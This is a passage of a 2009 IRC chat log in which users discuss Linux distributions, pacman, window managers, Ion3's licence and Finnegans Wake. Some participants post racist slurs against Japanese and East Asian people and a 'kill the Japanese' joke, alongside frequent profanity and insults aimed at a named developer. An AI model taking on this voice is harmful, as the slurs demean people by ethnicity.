fairly safe assumption that it is. 22:03:42 I'd still hope that the original patch-writer would've tested hir implementation at least with some sort of rudimentary speed benchmark; but if that happened, it's not a very well-published result. I might be using the wrong sort of keywords, though. 22:07:07 I could theoretically speaking be motivated enough to try it myself, but I don't have any sort of fancy-pants CPU for that; I guess my second-newest Intel CPU would be... a Pentium-150 in a laptop. (And then I have this Atom box, but it doesn't do anything newer than ssse3 either.) 22:09:39 Atom doesn't count as Intel? :-P 22:10:39 It does; that's why the P150 is the second-newest. 22:10:56 Ah. "And then" made it sound like it was a third box. 22:11:13 Although I think I managed to forget a Pentium-M somewhere. 22:12:46 "crypto" and "crc32" should not be in the same sentence 22:13:53 21:28 AnMaster: ehird, so you recommend to not file any bugs to any projects, instead only complain in some totally unrelated irc channel and not report the issue at all ← not what I said. 22:13:57 is that what I said? 22:14:07 didn't think so 22:14:19 ehird, I extrapolated from your behaviour. 22:14:29 That's some sucky extrapolation. 22:14:31 bsmntbombdood: you could use crc32 in order to verify that a public-key had transmitted properly 22:14:40 but yes it seems to match your opinion 22:14:41 ais523: no, you couldn't 22:14:43 you don't want to use it for the actual crypto, though 22:14:53 it doesn't guarantee that things haven't been tampered with 22:14:55 just that they don't contain typos 22:15:02 which isn't very useful for crypto 22:15:05 as you suggest 22:15:07 It was a bit unclear why crc32 is in the "cryptoapi" part; the help says it's used in iSCSI headers and things like that. 22:15:49 fizzie, it wasn't before .28 22:15:54 iirc 22:16:33 Yes, there's still the "library routines" crc32 thing too; but the intel-accelerated patch was for a cryptoapi digest. 22:16:42 I guess they just liked the cryptoapi digest-calculating API more. 22:17:12 It is not immediately obvious what would be a more suitable way of exporting that sort of stuff to userspace. 22:17:58 (Or can you use "raw" cryptoapi quasi-directly from a userspace application? I have no clue. The dm-crypto thing uses it, but that's inside the kernul.) 22:19:25 Let's have a change. /me tries "sudo pacman -S kde". 22:19:47 I wonder if this package manager is good enough to do "remove this and all its dependencies apart from vital shit, 'kay?" to wipe out ze kde. 22:20:11 Or, as apt puts it: remove packages that aren't depended on. 22:20:40 "remove X and all its dependencies" is what Windows uninstallers try to do, which is why they're so broken 22:20:48 "remove X, then remove all unused dependencies" is so much saner 22:20:56 well, right. 22:21:04 I was just describing the general operation 22:21:14 "rid me of this foul beast and all that it sides with! apart from my chums." 22:21:26 -!- puzzlet_ has joined. 22:21:44 Coo, it's downloading gcc. 22:21:50 ^C let's just install the build-essential equivalent. 22:21:54 ... also, why does kde depend on gcc? 22:21:56 The mind boggles. 22:22:07 Anyway, sudo pacman -S core-devel was it? or dev. or base. 22:22:11 Deewiant: do you know? 22:22:39 ehird: pacman -Si gcc 22:22:46 Groups : base-devel 22:22:50 ah. 22:23:16 Deewiant: would there happen to be a way to streamline its output and not make it ask me whether to install it twice ;-) 22:23:29 Twice? 22:23:38 ehird: yes | 22:23:44 "INSTALL THIS SHIT?" "OKAY, HERE ARE THE DEPENDENCIES. REALLY INSTALL THIS SHIT?" 22:23:51 ais523: "Do you want to erase your system for this package? [Yn]" 22:23:52 yes | 22:24:05 ehird: maybe | 22:24:12 ehird: pacman -S --help. 22:24:17 --noconfirm do not ask for any confirmation 22:24:23 Deewiant: That's exactly what I don't want 22:24:29 I just don't want it to ask me the same question twice dammit :P 22:24:34 --no-vista 22:24:42 you can run vista without uac 22:25:10 ehird: It only asks you twice for groups, btw. 22:25:15 ah. 22:25:15 Which you won't be installing often. 22:25:17 ehird: but that's insecure! 22:25:23 It has been my misfortune to mainly install groups ;-) 22:25:30 ais523: just run as a non-admin? 22:25:35 well, yes 22:25:41 that's how the Vista computers over here are set up 22:25:43 because I set them up 22:25:54 they're as secure as I can get Vista without much Windows knowledge 22:25:58 you set up a windows machine willingly? 22:26:00 and with only Norton 360 as the antivirus 22:26:07 shit man 22:26:10 that's awful 22:26:15 turn into a christian and repent 22:26:18 with any luck they haven't been hacked into yet 22:26:23 you can stop being a christian after that, it's ok 22:29:30 I think I'd rather run DOS than Vista. 22:29:54 damnit, newegg 22:29:57 where is my computer 22:29:58 (at least DOS does what you ask it and gets the fuck out of your way) 22:30:08 nowadays there's FreeDOS 22:30:25 whose main advantage is that it's crazy fast 22:30:27 Well, yeah. I of course was thinking of FreeDOS. 22:30:30 bsmntbombdood: good god, have some patience 22:30:34 do you really need it in 5 minutes? :P 22:30:42 It's a damned good DOS. 22:30:43 I've waited 3 weeks for things to be shipped 22:30:48 ehird: i ordered it yesterday 22:30:54 Dell actually offer it on new computers as an OS choice along with Ubuntu or Windows 22:30:58 bsmntbombdood: >_< 22:31:14 bsmntbombdood: so you get everything the day after you order it? 22:31:16 lucky bastard 22:31:27 ehird: they haven't even charged the card yet 22:31:55 ehh, bug their support team? 22:32:22 Status: Submitted - Your order has been successfully submitted. Your credit/debit card has not yet been charged. Please allow 1-2 business days for your order to process and ship. 22:32:29 1-2 business days?!?! 22:32:41 gahahaha 22:32:46 you americans are spoilt rotten 22:32:54 1-2 business days is luxury over here! 22:33:00 uphill! 22:33:02 both ways! 22:33:17 Is 1-2 business days a long time for an online order? O_o 22:33:54 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 22:34:31 it is, isn't it? 22:34:41 bsmntbombdood: nope 22:34:42 Like ehird said, it's luxury :-P 22:34:54 1-2 weeks is my default expectation. 22:34:54 an online order usually takes about a week from ordering to getting it 22:35:10 The only time I expect it to ship next day is when the web site says so... 22:35:17 bsmntbombdood: where do you order shit where you get it a day after ordering 22:35:30 Let's have a change. /me tries "sudo pacman -S kde". <-- kdemod. Read on arch wiki 22:35:48 AnMaster: explain in 5 words, I don't wanna cancel my download :P 22:35:59 AnMaster: ah. tweaked. 22:36:01 Which generally means it's one of the few bits of inventory that they've got right next to the boxing guys, and they just need to stick a label on the box... 22:36:06 ehird, ask Deewiant 22:36:07 I'm trying arch to escape from modified upstreams, y'know 22:36:11 Deewiant: 22:36:12 I'm going to bed 22:36:15 night 22:36:24 waaah 22:36:36 bsmntbombdood: wtf is up with you :D 22:36:42 you first said about wanting a new pc a few months ago 22:36:47 and now 1-2 business days is terrible? 22:37:05 ehird: Modularized version of KDE from a third-party Arch package repo, or something like that 22:37:12 "and tweaked" 22:37:15 Upstream modification, boo 22:37:26 IME that means that it works better. :-P 22:37:38 It's not like I want to use KDE in practic 22:37:39 e 22:37:40 Not all such modification is bad. 22:37:44 ehird: yes 22:37:47 It's just that the last 3458973489573495345 distros I've used use gnome :P 22:37:49 bsmntbombdood: why? 22:37:53 lol 22:37:59 Some packages need such modification to freaking *build*. 22:38:05 pikhq: That's fine. 22:38:08 Most KDE programs I've tried still crash for me, but with kdemod I at least managed to run some things. :-P 22:38:11 I just don't like changes beyond "make it work properly" 22:38:16 -!- BeholdMyGlory has quit (Remote closed the connection). 22:38:34 Ah. Well, then, you'd like Gentoo... 22:38:42 pikhq: Noooooooooooo way. 22:38:51 The only package that does more than "make it work properly" is gentoo-sources. 22:38:53 Fuck source distros, fuck Gentoo's community, fuck Gentoo's relation with upstreams. :P 22:39:03 nowadays there's FreeDOS whose main advantage is that it's crazy fast <-- stop making me want to port cfunge... AUGH 22:39:13 AnMaster: DOIT 22:39:15 AnMaster: DOIT 22:39:15 AnMaster: no posix :-) 22:39:20 OTOH, it'd work on Windows then 22:39:22 ehird: There is (nearly) with DJGPP 22:39:22 Gentoo has an excellent relationship with most of its upstreams; exceptions being, well, dicks. 22:39:23 ehird, yes I know 22:39:25 :((( 22:39:28 well 22:39:29 maybe 22:39:33 pikhq, indeed 22:39:35 GregorR: Not exactly nearly. 22:39:36 No mmap? 22:39:40 DJGPP supports a bunch of POSIXy stuff. No, not mmap. 22:39:41 pikhq: I haven't seen that. 22:39:41 AnMaster: 2009-05-08 00:36:11 ( AnMaster) I'm going to bed 22:39:46 Deewiant, plan 22:39:47 Deewiant: he does that all the time 22:39:48 DJGPP supports what can be supported without killing yourself ;) 22:39:50 he takes a few hours 22:39:54 And Gentoo's community is mostly smart people with a few dumbasses. 22:39:56 actually 22:39:57 GregorR: AnMaster uses those things. 22:39:59 I'm IRCing from bed 22:40:00 :P 22:40:11 I mean supported /on DOS/ without killing yourself, of course. 22:40:15 pikhq: like hell it is, I've never seen more people think they're cool because they can run a compiler and turn on optimization flags 22:40:18 (you can tell whether they're smart depending on their opinion on funroll-loops.info) 22:40:34 GregorR: Just saying that it wouldn't work for cfunge. 22:40:38 ehird, not representative. I have met lots of gentoo users who aren't like that. 22:40:52 in fact I met very few gentoo users like that 22:40:53 Do they hang out in #the-secret-gentoo-channel-wihtout-all-the-idiots? 22:40:54 one in fact 22:40:56 only one 22:40:56 *without 22:41:03 Because I've never, ever seen them. 22:41:13 'part from a few in here. 22:41:15 And you're saying "fuck source distros" while using arch. 22:41:17 ehird, oh main #gentoo? Well the sub-channels tend to be saner 22:41:24 pikhq: Arch... is a binary distro... 22:41:26 pikhq, arch is binary 22:41:29 ehird: settled on a distro yet? 22:41:37 Hrm. I feel dumb. 22:41:37 ais523: nope; thank god for cheap VM creation 22:41:37 though it has makepkg to build binary packages 22:41:40 in case you need it 22:42:00 ais523: probably Ubuntu is what I'd use atm, for the "goddamn, just work" value. 22:42:06 On the twelfth day, the LORD created cheap VM creation. And it was good. 22:42:24 ehird: That's what I use Debian for, myself... 22:42:50 Or maybe Slackware. 22:42:50 pikhq: Debian's default gnome isn't quite as polished. 22:43:07 Also, installing and using Slackware is not much of a "hey, I just clicked this and it did it all for me, life is good" experience. 22:43:42 Maybe I was just insane, but when I used Slackware, it kinda... Just Worked (tm). 22:43:59 (probably just insane; Slackware was my first distro) 22:44:02 Thou art mad. 22:44:31 SLS! 22:44:43 Oh god. 22:44:45 Actually, Slackware 8. 22:44:52 Hehe, slackware started because SLS switched to ELF... 22:45:07 who uses gnome anyway>? 22:45:07 -!- M0ny has quit ("When you get sad stop being sad and be awesome instead."). 22:45:09 shit sucks 22:45:18 bsmntbombdood: not imo 22:45:23 same goes for kde 22:45:24 Funny, I thought Slackware started because SLS *wouldn't* switch to ELF... 22:45:28 it's a bit of a pain to configure but after that it's pretty smooth sailing 22:45:37 kde is awful indeed 22:45:42 but I like a bit of glue between my components 22:45:51 pikhq: nope 22:45:52 no, I'm wrong. 22:46:45 bsmntbombdood: out of curiosity, what wm do you use? 22:46:51 ion3 22:47:00 ah 22:47:02 shit is fucking awesome 22:47:14 i consider tiling wms unergonomical :) 22:48:14 so's your face 22:48:36 tru dat. 22:48:41 Slackware 3.2 "broken edition" was my first distro. 22:49:13 bsmntbombdood: Why, hello, fellow Tiling WM user. 22:49:22 fizzie: my friend's got you all beat 22:49:25 Yggdrasil 22:49:30 (shame you use one by a dick, though) 22:49:35 Yes. 22:49:36 That Yggdrasil. 22:49:41 yeah tuomov is kinda abrasive 22:49:44 what do you use? 22:49:54 don't say xmonad 22:49:57 I do Awesome3 here; it's a tiling wm too. 22:50:22 bsmntbombdood, he also is distributing Ion3 illegally. :p 22:50:34 lolwut? 22:51:01 bsmntbombdood: licensing issues 22:51:07 (at least, he is if there is a single bit of code from Ion3 before the non-free change not written by Tuomo) 22:51:14 tuomov's opinion on them seems to be "I CAN DO WHAT THE FUCK I WANT, YEAAAAH!" 22:51:51 hmm 22:51:57 does the latest ion distro even have a LICENSE file? 22:52:19 ah 22:52:24 it's extended LGPL with bullshit terms 22:52:25 awesome 22:52:29 - Versions not based on the copyright holder's latest release (on 22:52:29 the corresponding "branch", such as Ion3(tm)), must within 28 days 22:52:30 of this release, be prominently marked as (potentially) obsolete 22:52:32 and unsupported. 22:52:34 HAHA he actually added that 22:52:38 due to debian having a few month old version 22:52:44 - Significantly altered versions may be provided only if the user 22:52:44 explicitly requests for those modifications to be applied, and 22:52:45 is prominently notified that the software is no longer considered 22:52:48 the standard version, and is not supported by the copyright holder. 22:52:49 The version string displayed by the program must describe these 22:52:51 modifications and the "support void" status. 22:52:53 - A version that does not significantly differ from one of the 22:52:55 copyright holder's releases, must be provided by default. 22:52:57 i just quoted all 3 clauses out of order 22:53:00 because they're all absolute gold 22:53:10 I would so love it if Debian somehow put on a script which took the latest version and patched it back to an old version 22:53:22 oh lawd 22:53:22 ais523: can't 22:53:25 - A version that does not significantly differ from one of the 22:53:25 copyright holder's releases, must be provided by default. 22:53:30 bahahaha 22:53:33 tuomov is such a retard 22:53:43 "significantly"? 22:53:48 the third term there is a weird wording of one DFSG-approved term 22:53:58 That "significantly altered" refers (among other things, I guess) the incident where Arch's non-official "user repository" had a script that fetched Ion and installed the xft "blurry-fonts patch", yet called the result "ion". 22:54:01 which is "all modified versions must be provided in the form of a diff from the original version" 22:54:02 When did Slackware switch to ELF? :P 22:54:10 ais523: provided to the user 22:54:11 Debian don't like that rule, but don't think it makes software nonfree 22:54:14 as in, 22:54:17 if a user does 22:54:19 apt-get install ion 22:54:22 they must get a stock one 22:54:24 unless they do 22:54:27 apt-get install ion-megadebian 22:54:28 GregorR: Probably about when they switched to libc 6. 22:54:29 ah, ok, that's bad 22:54:34 and which then must display prominently 22:54:39 WE SUCK DICKS AND YOU CANNOT GET SUPPORT FOR THIS VERSION <3 22:54:54 night really 22:54:57 The thing I really "like" about all this is that he thinks that he can repeal the previous LGPL versions. 22:55:04 basically, tuomov has no fucking idea what foss is and demands that packagers work like crack addicts to keep up to date with his shitty updates :-D 22:55:29 "Significant change: Bug fixes are insignificant as additions." 22:55:44 Debian should consider their changes to Ion to be a bugfix for tuomov's idiocy ;-) 22:55:58 ehird: eglibc? 22:56:05 I'm surprising Ion's not been forked by now. 22:56:07 it wouldn't be the first time... 22:56:18 ais523: well, you couldn't call it eion 22:56:22 you'd have to completely change the name 22:56:30 -!- MizardX has quit (Read error: 54 (Connection reset by peer)). 22:56:32 eglibc itself isn't the first time. 22:56:33 egcs, anyone? 22:56:34 although debian could redirect ion3 to opm 22:56:36 -!- MizardX has joined. 22:56:37 i mean 22:56:37 opm4 22:56:38 Linux libc? 22:56:43 qwertyshift FTW 22:56:52 pikhq: you never said what you use 22:56:52 or uib2 22:57:07 bsmntbombdood: Ratpoison. 22:57:15 Mean to switch to StumpWM one of these days. 22:57:28 Slackware went from libc5 into glibc when they jumped versions from 4 -> 7 because redhat and friends were already at number 6. I don't remember the ELF thing; I think there was some sort of ELF support in 3.x already. 22:57:47 I once drafted up in my head what would be needed to make a tiling wm usable (mainly manipulated w/ mouse, fitts law compliant etc) and it basically turned into a shit floating wm 23:00:10 ratpoison has no mouse support right? 23:00:17 bsmntbombdood: Right 23:00:20 the clue's in the name 23:00:25 i like my mouse 23:00:37 bsmntbombdood++ 23:00:39 hooray for mice! 23:00:52 I use the mouse for Flash. 23:00:55 That's about it. 23:02:13 (It's not completely unheard of, though - GNU emacs used to greet Symbolics users with the message "In doing business with Symbolics, you are rewarding a wrong.") 23:02:14 Hahahah. 23:02:23 Poor rms and his Symbolics hate. 23:02:32 Rewarding a wrong! 23:02:49 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 23:02:53 At least Emacs didn't have an invariant clause. :p 23:02:53 Conjecture: other such patterns may be recognized in the future, depending on which unrealistic benchmarks we want to run faster. 23:03:03 no, just the manual 23:03:11 Okay, arch installed kde 23:03:11 Yeah. 23:03:22 the Emacs manual used to have a lengthy rant about why it didn't run on Windows 23:03:26 -!- bsmntbombdood has joined. 23:03:28 although that's been fixed now too 23:04:07 http://edward.oconnor.cx/2005/04/rms 23:04:42 wow, assignment in Perl6 is as lazy as possible without breaking imperative semantics 23:04:59 you can write @array = 0..*; 23:05:01 Perl 6 is just shit. 23:05:06 and get an infinitely long array 23:05:13 Haskell doing that makes sense, seeing it in Perl is pretty mindblowing though 23:06:26 it's also the only language I've seen with todo operators 23:06:40 most people just put todos in comments... 23:06:59 OK, KDE installed on Arch and KDM set. 23:07:16 Time to reboot and check it out. 23:07:28 At least, nothing so far has happened that's any worse than Debian, so. 23:07:38 * ehird sudo shutdown -r now 23:07:41 are you planning to uninstall KDE again as a test? 23:07:50 Not really. 23:08:09 -!- oerjan has joined. 23:08:18 -!- ais523 has quit (Remote closed the connection). 23:08:22 hmm. 23:08:26 It's asking me for a login. 23:08:29 That is not kdm. 23:08:56 !perl print "What do you mean, not associated?"; 23:08:57 What do you mean, not associated? 23:14:52 LOL. 23:14:58 Deewiant: I have KDE, I just don't have X11. Wtf. 23:14:58 If I get an additional crash due to not using ECC memory, I really won't notice. 23:15:46 i do recall reading about a Java exploit that could use a large fraction of memory bit errors to break security 23:18:59 by arranging for a reference to point to an object of the wrong class 23:19:11 iirc 23:19:46 this could be an issue for any language based on strong static typing, i guess 23:20:42 well, probably dynamic too 23:22:59 yeah 23:25:26 Here goes ze KDM 23:25:48 holy unantialiased text and no mouse batman 23:25:59 holy no keyboard batman 23:26:14 holy Deewiant how do you uninstall a package and remove unused dependencies batman 23:37:17 Anyone used dwm? 23:37:23 I'll bet fizzie has 23:39:54 I might have tried it, but not really used. 23:40:15 fizzie: isn't awesome based on dwm 23:40:26 It seems a bit like evilwm, except tiling. (Evilwm also does the whole "no title bar, no configuration files, not much of anything" thing.) 23:40:39 I'm sure awesome is based on dwm 23:40:42 I don't know the genealogy. 23:40:46 hmm 23:40:52 Seems to be. 23:40:52 fizzie: awesoem does floating windows, right? 23:40:54 are they a pain to use? 23:41:08 ehird: Well, you might just have libX11. Technically, you don't need an X server. ;p 23:41:08 *awesome 23:41:14 pikhq: indeed that was the case 23:41:16 i want my new computer :( 23:41:21 I'm not quite sure what you mean by "pain". They float, that's about it. 23:41:28 bsmntbombdood: are you actually running into troubles with your current one or just impatience? 23:41:35 11:57:37 a collection of quarks 23:41:38 fizzie: i mean, what if I basically just wanted to use floating windows 23:41:43 would that mesh with awesome? :p 23:41:45 ehird: other than slow as hell, no 23:41:49 what did the poor leptons do to you since you ignore them? 23:41:58 oerjan: sry leptons! 23:42:02 oh, and the fans are dieing and making noise 23:42:20 bsmntbombdood: Making noise? Hate to break it to ya but that i7 rig isn't going to be _quiet_... 23:42:33 I... guess you could. One of the possible window layouts is "everything floating". I'm not sure how nice it is to use in a window-managmenty sense; my needs are so very simple. 23:42:53 ehird: dieing fan kind of noise 23:42:56 ah 23:43:38 bsmntbombdood: anyway, calm down or you'll forget t he spacers :-P 23:43:39 most people don't want their fans to die 23:43:40 *the 23:43:49 huh? 23:43:55 ... 23:43:56 >_< 23:44:03 Please tell me you know what I meant. 23:44:39 bsmntbombdood: the spacers are the screws that come with your case that you attach so your mobo doesn't touch the case 23:44:58 i don't even have a case yet 23:45:02 i know 23:45:04 i mean when you get it : 23:45:05 :P 23:45:10 it was just a joke since i've known one or two cases where people have fried mobos by not putting the spacers on 23:45:15 one guy did it _thrice_ 23:46:58 wtf 23:47:04 now newegg has a problem with my credit card 23:47:13 bsmntbombdood: well that'd explain why it took "so long" 23:47:16 what's their problem 23:48:42 oh i put in the wrong billing address 23:48:48 lawl 23:49:35 now it prompts me to change it but won't let me... 23:49:52 bsmntbombdood: wat? 23:52:25 hmmm 23:55:23 pikhq: what do you think tuomov would do if I took his code and blatantly violated the license :-) 2009-05-08: 00:00:46 grr 00:00:54 bsmntbombdood: wut 00:02:28 hmm 00:02:34 is there a bsd with binary pkgs? 00:03:33 all of them 00:03:42 really? Even Open? 00:03:49 do you still have to use ports, though? 00:03:55 I suppose there may be frontends 00:04:02 http://www.openbsd.org/cgi-bin/man.cgi?query=pkg_add&apropos=0&sektion=0&manpath=OpenBSD%20Current&arch=i386&format=html 00:04:14 hmm. 00:04:19 Does bsd have anything similar to lvm? 00:04:20 ewwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww 00:04:27 Gracenotes: wha 00:04:28 t 00:04:38 yes, it was total skill that my eww was exactly as long as your comment 00:04:43 w at 00:06:12 nothing. btw mah raytracer. http://67.223.225.106/tasd/ 00:06:29 On the twelfth day, the LORD created cheap VM creation. And it was good. <<< No, that was on the zeroth day. You don't seriously think he would run us without sandboxing? 00:07:57 there has been discovered a new and wonderful form of poetry! :o 00:08:10 its esoteric in its delightfulness :x 00:08:13 wat 00:08:43 what, you dont like my inelegant use of the there+passive? dont give me your grammar nazism! 00:09:04 apostrophe. DISQUALIFIED 00:09:06 What's the poetry. 00:09:11 no, he meant angkor wat. that's where it was discovered, right? 00:09:20 exactly 00:09:38 the discoverers were eating soup from that very area when the reporters arrived 00:09:40 they were like 00:09:42 ... 00:09:45 anyway 00:10:05 take a text in language A. spell check it as if it's language B. then translate the text from language B into language A. 00:10:36 Thhhe, were eating poetry 00:10:36 drinking tea from that 00:10:37 discover 00:10:39 e 00:10:41 r 00:10:43 s 00:10:45 area where it was discover- 00:10:47 -ed 00:10:49 00:10:51 AVANT GARDE 00:10:58 c-c-c-c-c-c-poetry breaker 00:11:01 oh very, ehird 00:11:04 very avant garde :p 00:11:06 :o 00:11:09 Together lord. 00:11:09 The oil problem is, lead away I switch languages in Misheard 2000 (wedge mouthguard does automatically hen I switch keyboard lay-outs), mouthguard bugs me bolt the facet that dinner table slow is note supporter Bi the game crazier, Belause {name} mouthguard haircut bone install. And let me count ouch, that is far point of attachment. 00:11:28 psygnisfive: that's far too coherent for that process surely 00:11:34 well 00:11:44 it was English-as-Dutch -> English 00:11:54 ah 00:11:56 so similarish words 00:11:57 so there were preexisting similarities 00:12:35 I KILL THE 00:12:35 MAYBE SHOULD JAPANESE 00:12:36 you try 00:12:38 (view monospaced) 00:13:16 dont be racist ehird 00:13:27 you left out koreans and other slanteyes 00:13:27 psygnisfive: hey that's just one strand of reading! 00:13:29 try other swoops 00:13:39 MAYBE you SHOULD KILL THE JAPANESE 00:13:42 MAYBE I SHOULD try JAPANESE 00:13:42 Oh, I love having a monospaced IRC client 00:13:48 see? 00:13:50 but :\ reading it horizontally doesn't make sense 00:13:54 MAYBE you SHOULd try JAPANESE 00:13:55 it should have a double meaning 00:14:01 Gracenotes: yeah I tried that at first 00:14:18 We're gonna have to slap the dirty little Jap 00:14:37 hey I used to be a 00:14:37 >>>>>>>>>>>>>>>>>SPIRAL< 00:14:38 then I 00:14:46 i'm all about meaningless furor as art. 00:15:27 spiral, you say? http://www.onemanga.com/Uzumaki/ 00:15:27 meaningless führer 00:15:34 (start at chapter 1) 00:15:59 mean english führer 00:16:21 hahaha 00:16:31 the same guy who made Enigma of Amigara Fault 00:19:55 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 00:20:34 -!- bsmntbombdood has joined. 00:25:01 has anyone ever tried to read finnegans wake? 00:26:25 first few pages 00:27:10 its less comprehensible than the dutch-english thing from above 00:27:28 :-D 00:27:34 riverrun, past Eve and Adam's 00:27:57 bababadalgharaghtakamminarronnkonnbronntonnerronntuonnthunntrovarrhounawnskawntoohoohoordenenthurnuk! 00:28:06 three quarks for muster mark 00:28:51 heaven hell murray gell-man 00:28:59 who i would guess has read the thing full through 00:30:13 Fwomp. 00:30:46 Brékkek Kékkek Kékkek Kékkek! Kóax Kóax Kóax! Ualu Ualu Ualu! Quaouauh! 00:32:50 I've flipped through it 00:38:35 Finnegan's Wake wiki, by the way: http://www.finnegansweb.com/wiki/index.php/Page_3 00:39:02 annotated with wiki tools 00:39:12 Hah 00:39:25 Analyzing it destroys it. 00:40:15 ehird: beat you by two and a half years on that point :P http://slashdot.org/comments.pl?sid=202042&cid=16540372 00:40:57 wow... it's been a long time, internet. 00:41:09 2006 ain't long ago 00:41:21 feels like it 00:41:28 true. I was an idiot in 2006. 00:41:53 started netting in '98. so... about 9 years to become unstupid 00:46:27 im listening to a reading of finnegans wake 00:46:29 grrrrr 00:46:33 which is read with an irish accent 00:46:35 rrrrrrrrrrrrrrrrrrrrrrg 00:46:55 and im almost willing to believe that if this was read with a very thick accent, itd actually be readable 00:47:22 Idea: Finnegans Wake... sung! 00:48:11 *70s sort of rock, think Led Zepplin* Riverrun, past Eve and Adam's yeah/From swerve of shore to bend/Of bay, brings us by/A commodius vicus/Of recirulation back to Howth Castle/aaand Enviro-ons 00:48:13 *solo* 00:48:20 maybe joyce was just illiterate and couldnt spell :o 00:51:06 finnegans wake is very reminiscent of the output of a markov chain model of english sentences 00:52:02 we could construct some sort of grammatical model of english and have it generate random sentences that are wake-esque :o 00:52:47 maybe a CxG model 00:54:18 -!- FireFly has quit ("Later"). 01:02:34 http://toastytech.com/guis/winvistawin101.png 01:03:01 the fuck 01:03:15 psygnisfive: Windows 1.01 Vista! 01:03:23 *1.0 01:03:32 er no 1.01 01:07:02 -!- puzzlet_ has quit (Remote closed the connection). 01:07:06 -!- puzzlet has joined. 01:07:21 -!- coppro has joined. 01:07:47 file:///home/gregor/codu/public_html/imgs/win3plusplus.png 01:07:53 GregorR: FAIL 01:07:54 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)). 01:08:20 D-8 01:09:41 -!- Sgeo has joined. 01:09:50 Yeah, so that was stupid. 01:10:03 * ehird considers if you could use compiz-fusion + dmenu for a minimalist environment 01:10:16 GregorR, what wsa stupid? 01:10:19 http://codu.org/imgs/win3plusplus.png // what I meant to link. 01:10:23 Sgeo: file:///home/gregor/codu/public_html/imgs/win3plusplus.png 01:10:24 01:07 GregorR: file:///home/gregor/codu/public_html/imgs/win3plusplus.png 01:10:49 ehehe 01:11:00 Anyway, go look at http://codu.org/imgs/win3plusplus.png :P 01:11:04 aw. clicky link clicks nowhere 01:11:05 That was relevant to http://toastytech.com/guis/winvistawin101.png 01:11:11 toasty tech has shit like that too, yeah 01:11:17 /var/www/ ftw 01:11:33 Gracenotes: This is just my hg clone 01:12:07 -!- puzzlet has joined. 01:12:11 There's a Moka5 thingy for Win 3.1 01:12:12 Err, that is, that file:// path is just an hg clone 01:12:16 Don't know how legal it is 01:12:23 "Moka5"? 01:12:35 MokaFive LivePC Engine makes use of VMware Player as a virtualization platform, but includes additional features such as automatic updates of virtual machines, streaming and caching of virtual machine images, integrated backup, hardware-accelerated 3D graphics support, and zero install when running from a USB drive.[1] 01:12:36 lame 01:13:19 The thing that people are supposed to see as weird in my screenshot is that it's Firefox and bash running on Windows 3 :P 01:13:37 Yes. 01:13:41 It's not too interesting :P 01:13:43 Been there done that 01:13:43 And being in NT351 01:13:44 Ok, see nthat. 01:13:45 *seen that 01:13:56 Bleh, you people are too smart :P 01:17:42 -!- puzzlet has quit (Remote closed the connection). 01:17:46 -!- puzzlet has joined. 01:18:16 eh, it seems likely that Arch is the distro for m 01:18:17 e 01:18:30 ORLY? I've never tried Arch. 01:18:38 Summarize its advantages in one IRC line :P 01:19:13 (Using Debian as a base for comparison if necessary) 01:19:37 GregorR: it doesn't mod upstreams much, large amount of user-contributed packages, friendly & big community, it's minimalist, and yet you can still install big glob suites with one command, the package manager seems alright, and it has 64-bit binaries and all that 01:20:04 compared with debian: mods upstreams less, seems to be generally more oriented to fixing things at upstream instead of patching downstream 01:20:22 and is generally more minimal 01:20:43 Yeah, Debian makes sometimes-significant modifications to upstream, meaning that sometimes the Debian version is actually quite a bit different than upstream. 01:20:54 yes 01:21:01 I don't mind value-add stuff, I just don't want it by default 01:21:02 Example: netpbm sucks on Debian, I always install it manually :P 01:21:12 Oh, my example is a value-subtract. 01:21:17 Yeah 01:21:24 Upstream's for me, and arch is similar enough to debian that I can probably just use it as a lean, mean Linux universe machine 01:21:31 Okidoke. 01:21:48 try it in a vm if you want 01:22:10 GregorR: oh, and rolling release, which I don't actually care about 01:22:18 rolling release works better when you don't mod upstream ofc 01:22:28 Right 01:22:44 Out of curiosity, does Arch work on any non-x86alike platforms? 01:22:57 GregorR: i686 and x86_64 only, it seems. 01:23:20 GregorR: The only things I'd consider running a non-x86 on is embedded stuff, though. 01:23:29 And for embedded stuff I wouldn't use a full linux distro :-) 01:23:33 Sure, just curious. 01:23:37 Angstrom = Awestrom 01:25:20 The Chrome 3D button disappeared 01:25:21 GregorR: Oh, and, Arch uses a BSD-style init. 01:25:21 ! 01:25:25 NOOOOOOOOOOOOOO!!!!!!!!!!!!!!!!!!! 01:25:30 GregorR: Runlevels, you understand. And whatnot. 01:25:38 /etc/rc.conf pointing to shit in /etc/rc.d/. 01:25:43 Hmm, that's interesting. 01:25:44 It's simple. I like that. init.d is confusing. 01:25:55 http://wiki.archlinux.org/index.php/FAQ#Q.29_What_exactly_is_this_.27BSD-style.27_init_framework_I_keep_hearing_about.3F 01:27:16 Oh, and Arch's community seems to generally prefer throwing text around instead of big anti-unix environments. 01:27:21 I can work with either, but minimalism is nice. 01:27:29 Even if I _do_ need something to fill up that 12GB ram. 01:27:50 i has a 12 gb of ram 01:28:02 bsmntbombdood: mine's faster ;-P 01:28:19 bsmntbombdood: competing against my own rig is hard, don't make me :P 01:30:31 i'm not sure what to put on this new box 01:30:45 bsmntbombdood: Arch? :-P 01:30:49 Or a BSD. 01:30:58 bsmntbombdood: Well, a linux helps, for the LVM alignment stuff. 01:31:01 I don't know how to do that on BSD. 01:32:45 !slashes /.\0/,\,0,\,1//.\1/,\,1,\,0//,\,/.//.//.0.1.1.0 01:32:45 bsmntbombdood: I'm not sure where you'd put the mechanical HD, though. /home would put dotfiles on it defeating the point. ~/stuff as the mechanical HD is a bit inelegant. 01:32:45 01101001 01:33:33 !slashes /.\0/,\,0,\,1//.\1/,\,1,\,0//,\,/./.0.1.1.0 01:33:34 .0.1.1.0.1.0.0.1 01:33:36 ehird: ~/media, with symlinks at ~/music, ~/porn, ~/movies 01:33:51 -!- puzzlet has quit (Remote closed the connection). 01:33:55 -!- puzzlet has joined. 01:34:04 bsmntbombdood: what about source code? it's not media, but do you want to hammer the SSD with those writes? I guess it's just me being paranoid :-P 01:34:16 But yeah, I'm generally suspicious of symlinks, it may be the best solution in that case. 01:34:20 *while I'm 01:34:47 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,1,\\,0\/\/,\\,\/.\//***/.//.0 01:34:47 01101001 01:35:03 !slashes 